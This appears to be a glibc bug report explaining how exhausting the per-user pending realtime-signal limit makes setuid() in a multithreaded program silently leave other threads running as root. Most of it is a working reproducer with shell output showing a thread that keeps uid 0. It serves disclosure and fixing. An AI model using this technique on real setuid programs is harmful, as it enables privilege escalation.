__nptl_setxid() signals threads using setxid_signal_thread(), which assumes that the tgkill() syscall with the real-time signal SIGSETXID can only fail if the target thread has not started yet or has exited. Actually, for realtime signals, tgkill() can also fail if the per-user limit on pending signals has been reached. This can be seen in the kernel sources, where tgkill() is handled through the call chain do_tkill->do_send_specific->do_send_sig_info->send_signal->__send_signal. __send_signal sets the override_rlimit flag to 0 because the signal number is >=SIGRTMIN, then passes that flag to __sigqueue_alloc(), which then refuses to allocate a signal if RLIMIT_SIGPENDING has been reached by the current user (as determined using the real uid). __send_signal() fails with error code -EAGAIN.

To reproduce:

preparation:
===========================================================
$ cat starve.c
#include <errno.h>
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <err.h>

int main(void) {
	sigset_t rtmin_set;
	sigemptyset(&rtmin_set);
	sigaddset(&rtmin_set, SIGRTMIN);
	if (sigprocmask(SIG_BLOCK, &rtmin_set, NULL))
		err(1, "sigprocmask");

	pid_t me = getpid();
	int count = 0;
	const union sigval val = {.sival_int = 0};
	while (1) {
		if (sigqueue(me, SIGRTMIN, val))
			break;
		count++;
	}
	if (errno == EAGAIN) {
		printf("EAGAIN at %d\n", count);
		while (1) pause();
	}
	errx(1, "sigqueue");
}
$ cat threaded_setuid.c
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>

void *thread_fn(void *arg) {
	while (1) pause();
}

int main(void) {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_fn, NULL);
	if (setuid(getuid()))
		err(1, "setuid");
	puts("done");
	while (1) pause();
$ gcc -Wall -o starve starve.c -std=gnu99 && gcc -pthread -Wall -o threaded_setuid threaded_setuid.c -std=gnu99 && sudo chown root:root threaded_setuid && sudo chmod 4755 threaded_setuid
===========================================================


normal behavior:
===========================================================
$ ./threaded_setuid &
[1] 61208
done
$ cat /proc/$(pgrep threaded_setuid)/task/*/status | grep ^Uid:
Uid:	379777	379777	379777	379777
Uid:	379777	379777	379777	379777
$ fg
./threaded_setuid
^C

===========================================================


buggy behavior:
===========================================================
$ ./starve &
[1] 61239
EAGAIN at 256342
$ ./threaded_setuid &
[2] 61620
done
$ cat /proc/$(pgrep threaded_setuid)/task/*/status | grep ^Uid:
Uid:	379777	379777	379777	379777
Uid:	379777	0	0	0
$ fg
./threaded_setuid
^C
$ fg
./starve
^C
===========================================================